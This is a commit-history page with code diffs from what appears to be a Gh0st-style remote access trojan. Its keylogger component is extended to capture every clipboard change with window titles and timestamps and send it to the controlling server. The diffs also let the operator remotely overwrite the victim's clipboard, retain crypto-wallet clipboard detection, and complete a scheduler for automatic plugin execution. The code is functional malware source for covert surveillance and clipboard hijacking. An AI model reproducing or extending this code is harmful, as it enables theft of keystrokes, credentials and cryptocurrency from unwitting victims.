4 Commits

Author SHA1 Message Date
yuanyuanxiang
b813d94486 Improve: Finish "scheduler.h" to support all running plan 2026-05-12 22:53:17 +02:00
yuanyuanxiang
0fe67b16d5 Feature: Support replacing clip text via keyboard management dialog 2026-05-11 20:22:07 +02:00
yuanyuanxiang
b69d61617f Improve: Keyboard logger supports logging clipboard changes 2026-05-11 00:49:18 +02:00
shaun
929436e29d Fix: DO NOT use absolute resource path in .RC file 2026-05-10 23:42:58 +02:00
14 changed files with 394 additions and 57 deletions

View File

@@ -25,6 +25,7 @@
#define USING_CLIP 0
#include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP
#include "clip.h"
#ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen();
}
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile);
}
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
}
std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0;
}
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
bool hasClipboard = clip::has(clip::text_format());
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
if (!clip::get_text(value)) {
Sleep(500);
continue;
}
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
}
// Wallet detection
auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue;
}
auto type = detectWalletType(value);
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break;
}
}
Sleep(1000);
Sleep(500);
}
return 0x20251005;
}

View File

@@ -237,19 +237,22 @@ public:
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
std::string ReplaceText();
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};

View File

@@ -7,13 +7,13 @@
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// 中文(简体,中国) resources
// 中文(简体,中国) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
CAPTION "消息提示"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
@@ -61,7 +61,7 @@ END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"#include ""winres.h""\r\n"
"\0"
END
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // 中文(简体,中国) resources
#endif // 中文(简体,中国) resources
/////////////////////////////////////////////////////////////////////////////

View File

@@ -84,4 +84,41 @@ namespace clip {
LeaveCriticalSection(&GetClipLock());
return result;
}
/**
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
*/
inline bool set_text_utf8(const std::string& utf8_str) {
if (utf8_str.empty()) return false;
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return false;
// 2. 分配全局内存
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
if (!hMem) return false;
// 3. 执行转换并锁定内存
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
GlobalUnlock(hMem);
// 4. 操作剪切板
bool success = false;
if (OpenClipboard(NULL)) {
EmptyClipboard();
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
success = true;
}
CloseClipboard();
}
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
if (!success) {
GlobalFree(hMem);
}
return success;
}
} // namespace clip

View File

@@ -337,6 +337,20 @@ enum {
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
};
#pragma pack(push, 1)
struct TextReplace {
uint8_t cmd;
uint8_t type;
uint8_t param[510];
uint8_t reserved[512];
};
enum TextReplaceRule {
RULE_REPLACE_ALL = 0,
};
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -353,7 +367,6 @@ enum {
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]

View File

@@ -1,11 +1,16 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
#include <stdint.h>
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#define SCH_MODE_MONTHLY 4 // 每月定时模式
#define SCH_MODE_YEARLY 5 // 每年定时模式
#define SCH_MODE_OFF 6 // 关闭
#pragma pack(push, 1)
// 严格定义 16 字节结构
@@ -40,6 +45,7 @@ class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_OFF) return false;
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
@@ -63,9 +69,51 @@ public:
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// TargetMin=0 表示 0:00 执行
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
return false;
}
// --- 4. 每周定时逻辑 (Mode 3) ---
if (p->Mode == SCH_MODE_WEEKLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
unsigned char targetDay = p->Config.Timed.DaysMask;
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameWeek(p->LastRunTime, now)) return true;
}
return false;
}
// --- 5. 每月定时逻辑 (Mode 4) ---
if (p->Mode == SCH_MODE_MONTHLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示每月第 1 天
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameMonth(p->LastRunTime, now)) return true;
}
return false;
}
// --- 6. 每年定时逻辑 (Mode 5) ---
if (p->Mode == SCH_MODE_YEARLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0, Reserved=0 表示 1月1日
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameYear(p->LastRunTime, now)) return true;
}
return false;
}
return false;
@@ -88,13 +136,66 @@ private:
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
// 转换为本地时间的天数,再判断是否在同一周
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
// 计算两个日期各自所在周的周日日期,相同则同一周
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
// 回退到本周周日 (wDayOfWeek: 0=周日)
int weekStart1 = days1 - st1.wDayOfWeek;
int weekStart2 = days2 - st2.wDayOfWeek;
return (weekStart1 == weekStart2);
}
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
}
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear);
}
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
FILETIME ftUtc, ftLocal;
ftUtc.dwLowDateTime = (DWORD)ft;
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
FileTimeToSystemTime(&ftLocal, pSt);
}
// 简易计算从某基准日开始的天数 (用于周计算)
static int DaysSinceEpoch(int year, int month, int day) {
// 简化算法:相对于 2000-01-01 的天数
int y = year - 2000;
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
int days = y * 365 + leapYears;
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
days += daysBeforeMonth[month - 1] + day - 1;
// 闰年 2 月后加 1 天
if (month > 2 && IsLeapYear(year)) days++;
return days;
}
static bool IsLeapYear(int year) {
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
};
#endif
#endif

56
common/utf8.h Normal file
View File

@@ -0,0 +1,56 @@
#include <windows.h>
#include <string>
/**
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
*/
inline std::string ansi_to_utf8(const std::string& ansi_str) {
if (ansi_str.empty()) return "";
// 1. ANSI -> UTF-16 (WideChar)
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> UTF-8
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string utf8_str(u8len, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
// 移除末尾的 \0
if (!utf8_str.empty() && utf8_str.back() == '\0') {
utf8_str.pop_back();
}
return utf8_str;
}
/**
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
*/
inline std::string utf8_to_ansi(const std::string& utf8_str) {
if (utf8_str.empty()) return "";
// 1. UTF-8 -> UTF-16 (WideChar)
// 计算需要的宽字符长度
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
// CP_ACP 表示使用当前系统的 ANSI 代码页
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (alen <= 0) return "";
std::string ansi_str(alen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
if (!ansi_str.empty() && ansi_str.back() == '\0') {
ansi_str.pop_back();
}
return ansi_str;
}

Binary file not shown.

View File

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
}
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
}
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
__super::PostNcDestroy();
}
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog()
{
__super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
RebuildEdit(m_edit);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default:
return;
}
}
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (IsWindowVisible())
/* if (IsWindowVisible())
ResizeEdit();
*/
}
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
DialogBase::OnClose();
}
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}

View File

@@ -54,6 +54,13 @@
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
TextReplace m_TextRule = {};
CEdit m_EditClipText;
CEdit m_EditClipRule;
void RebuildEdit(CEdit& m_edit);
afx_msg void OnBnClickedBtnApplyTextrule();
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
};
//{{AFX_INSERT_LOCATION}}

View File

@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=Decrypt Data
画板=Drawing
屏幕墙=Screen Wall
替换=Replace
替换图标=Replace Icon
发送文件=Send File
历史主机=Host History
@@ -1783,8 +1784,11 @@ IOCP
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
每日定时=Daily Schedule
每周定时=Weekly Schedule
每月定时=Monthly Schedule
每年定时=Yearly Schedule
关闭执行=Turn OFF
名称=Name
大小=Size
运行类型=Run Type
@@ -1831,3 +1835,4 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually:
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=解密資料
画板=繪圖板
屏幕墙=螢幕牆
替换=替換
替换图标=替換圖示
发送文件=傳送檔案
历史主机=歷史主機
@@ -1775,8 +1776,11 @@ IOCP
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
每日定时=每日定時
每周定时=每週定時
每月定时=每月定时
每年定时=每年定时
关闭执行=关闭执行
名称=名稱
大小=大小
运行类型=執行類型
@@ -1822,3 +1826,4 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章:
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>

View File

@@ -731,8 +731,11 @@
#define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_EDIT_CLIPBOARD 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_EDIT_TEXTRULE 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_APPLY_TEXTRULE 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
@@ -979,7 +982,7 @@
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 373
#define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif